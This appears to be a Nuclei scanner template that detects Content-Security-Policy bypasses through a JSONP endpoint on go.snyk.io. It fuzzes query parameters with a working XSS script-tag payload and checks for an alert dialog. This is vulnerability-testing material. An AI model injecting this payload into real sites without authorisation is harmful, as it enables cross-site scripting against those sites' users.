snyk-go-csp-bypass: Content-Security-Policy Bypass - Snyk Go

id: snyk-go-csp-bypass

info:
  name: Content-Security-Policy Bypass - Snyk Go
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,snyk-go,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "snyk.io"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: snyk_go_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://go.snyk.io/index.php/form/getForm?munchkinId=677-THP-415&form=1461&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "snyk_go_csp_xss == true"
# digest: 4a0a00473045022100b9f05725589e09e93a3ad74fd9e58cea2e017ae3fa1217a4c9863337d86e2dce02201bae37cd026c41f325be4a9cb93a7985d2c147a57fe39b7c4830a6ff8fad980f:922c64590222798bb761d5b6d8e72950